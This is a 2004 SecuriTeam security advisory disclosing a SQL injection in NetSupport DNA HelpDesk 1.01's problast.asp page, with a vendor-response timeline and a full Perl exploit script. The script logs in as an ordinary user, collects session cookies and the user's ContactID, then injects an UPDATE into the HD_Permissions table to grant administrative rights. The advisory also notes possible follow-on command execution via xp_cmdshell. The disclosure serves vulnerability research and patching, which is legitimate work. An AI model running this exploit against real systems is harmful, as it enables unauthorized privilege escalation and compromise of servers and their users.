

[NT] NetSupport DNA HelpDesk SQL Injection

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-07/0074.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 07/21/04

To: list@securiteam.com

Date: 21 Jul 2004 18:11:12 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

NetSupport DNA HelpDesk SQL Injection

SUMMARY

<<http://www.netsupportsoftware.com/>> DNA Helpdesk is "a fully web based solution providing detailed recording and tracking of user Help Requests".

We found the product to contain at least one exploitable SQL Injection vulnerability that would allow a normal user to at the very least gain administrative privileges to the DNA HelpDesk product, at the worst case he will be able to get complete control over (administrative privileges) the computer on which the DNA HelpDesk is installed and utilize it to gain access to other computers.

DETAILS

Vulnerable Systems:

* NetSupport's DNA HelpDesk version 1.01

The vulnerable page is the `problast.asp`, and its 'where' parameter. The parameter receives, from the user, part of SQL statement that is later used by the DNA HelpDesk. If we insert a malicious SQL statement to the 'where' parameter, we can modify the `HD_Permissions` table, and set to our `ContactId` all the permissions from deny to allow.

Securiteam: [NT] NetSupport DNA HelpDesk SQL Injection

Depending on what other information is stored on the SQL server, and how it was hardened we could obtain:

- 1) SQL's administrative username and password
- 2) Execute commands via MS SQL's extended procedure (xp_cmdshell)
- 3) Trick users into downloading Trojan horses (by providing them with solutions for their Tickets) etc.

See the below exploit code demonstrating how we gain administrative privileges to DNA's HelpDesk, by only providing it with a username and password (regular user).

Vendor response:

The only response we have received from them to date (We contacted them on the 26 April 2004) is:

Thank you for your email regarding NetSupport DNA Helpdesk. This problem has been reproduced and it has been passed to a member in the Development team for Investigation.

Testing Methodology:

A few months ago Beyond Security built a new module for its Automated Scanning Vulnerability Assessment engine to test web sites and web applications for security vulnerabilities. This module adds the capability to dynamically crawl through a web site and find vulnerabilities in its dynamic pages.

This type of tool was considered to be different from the network VA tools, but we at Beyond Security believe that these two types of tools should be merged into one, and this is what made us incorporate the Web Site Security Audit module to our Automated Scanning engine.

For a press release on this integration see:

<<http://www.beyondsecurity.com/press/2004/press10030402.htm>>

<http://www.beyondsecurity.com/press/2004/press10030402.htm>

White paper on the first integrated network and web application vulnerability scanner: <<http://www.beyondsecurity.com/webscan-wp.pdf>>

<http://www.beyondsecurity.com/webscan-wp.pdf>

Our Automated Scanning engine equipped with the Web Site Security Audit module did all the tests described in this advisory automatically.

Exploit:

```
#!/usr/bin/perl
```

```
use IO::Socket;
```

```
use strict;
```

```
my $verbose = 0;
```

```
if (($#ARGV+1) < 4)
```

```
{
```

```
    print "Usage (Provided only " . ($#ARGV+1) . " parameters):\n";
```

Securiteam: [NT] NetSupport DNA HelpDesk SQL Injection

```
print "DNAHack.pl host path email password\n";
print "host – IP/name formed (e.g. 192.168.1.243)\n";
print "path – The path under which the product is installed (e.g.
/HelpDesk/)\n";
print "email – The email used to logon (e.g. example\@com.com)\n";
print "password – The password used for the email provided (e.g.
foobar)\n";
exit(0);
}
```

```
my $host = $ARGV[0];
my $path = $ARGV[1];
```

```
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "80" );
```

```
unless ($remote) { die "cannot connect to http daemon on $host" }
```

```
if ($verbose)
{
print "connected\n";
}
```

```
$remote->autoflush(1);
```

```
my $Email = $ARGV[2];
my $Password = $ARGV[3];
```

```
print "Grabbing initial cookie\n";
```

```
my $http = "GET /$path/logon.asp HTTP/1.1
Host: $host
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405
Firefox/0.8
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Referer: http://$host/$path/logon.asp
```

```
";
```

```
print $remote $http;
if ($verbose)
{
print "HTTP: [".$http."]\n";
}
```

Securiteam: [NT] NetSupport DNA HelpDesk SQL Injection

```
sleep(1);

my $Cookie = "";
while (<$remote>)
{
  if (/Set-Cookie: ([^;]+;)/)
  {
    $Cookie .= $1." ";
  }
  if ($verbose)
  {
    print "$_";
  }
}

print "Cookie: $Cookie\n";

close($remote);

my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "80" );

unless ($remote) { die "cannot connect to http daemon on $host" }

if ($verbose)
{
  print "connected\n";
}

$remote->autoflush(1);

print "Performing logon\n";

$http = "POST /$path/logon.asp HTTP/1.1
Host: $host
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405
Firefox/0.8
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Cookie: $Cookie
Connection: close
Referer: http://\$host/\$path/logon.asp
Content-Type: application/x-www-form-urlencoded
Content-Length: ";

my $content =
"EmailAddress=$Email&password=$Password&action=submit&submitBtn=Logon&Redirect=";
```

Securiteam: [NT] NetSupport DNA HelpDesk SQL Injection

```
$http .= length($content) . "\r\n";

$http .= "\r\n$content";

print $remote $http;
if ($verbose)
{
    print "HTTP: [".$http."]\n";
}

sleep(1);

while (<$remote>)
{
    if (/Set-Cookie: ([^;]+;)/)
    {
        $Cookie .= $1. " ";
    }

    if ($verbose)
    {
        print "$_";
    }
}

close($remote);

print "Cookie: $Cookie\n";

print "Grabbing ContactID\n";

$remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "80" );
unless ($remote) { die "cannot connect to http daemon on $host" }

if ($verbose)
{
    print "connected\n";
}

$remote->autoflush(1);

$http = "GET /helpdesk/createContact.asp?editself=1 HTTP/1.1
Host: $host
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405
Firefox/0.8
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,i
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
```

Securiteam: [NT] NetSupport DNA HelpDesk SQL Injection

Connection: close

Cookie: \$Cookie

";

my \$ContactID;

print \$remote \$http;

sleep(1);

while (<\$remote>)

```
{
  if (</input type="hidden" id="ContactID" name="ContactID"
  value="([0-9]+)">/)
  {
    $ContactID = $1;
  }
  if ($verbose)
  {
    print "$_";
  }
}
```

close \$remote;

print "ContactID: \$ContactID\n";

print "Gaining elevated privileges\n";

\$remote = IO::Socket::INET->new (Proto => "tcp", PeerAddr => \$host,
PeerPort => "80");

unless (\$remote) { die "cannot connect to http daemon on \$host" }

if (\$verbose)

```
{
  print "connected\n";
}
```

\$remote->autoflush(1);

\$http = "GET

/ \$path/problast.asp?where=1%3D0+order+by+TicketId;+UPDATE+HD_Permissions+SET+denyPermission=0+WHE
HTTP/1.1

Host: \$host

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405

Firefox/0.8

Accept:

text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Connection: close

Securiteam: [NT] NetSupport DNA HelpDesk SQL Injection

Cookie: \$Cookie

";

```
print "Gaining privileges\n";
print $remote $http;
sleep(1);
```

```
while (<$remote>)
{
  if ($verbose)
  {
    print "$_";
  }
}
print "\n";
```

```
close $remote;
```

```
print "Logon to the system as before, you should be able to view the
'Admin' menu\n";
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:expert@securiteam.com> Noam Rathaus.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.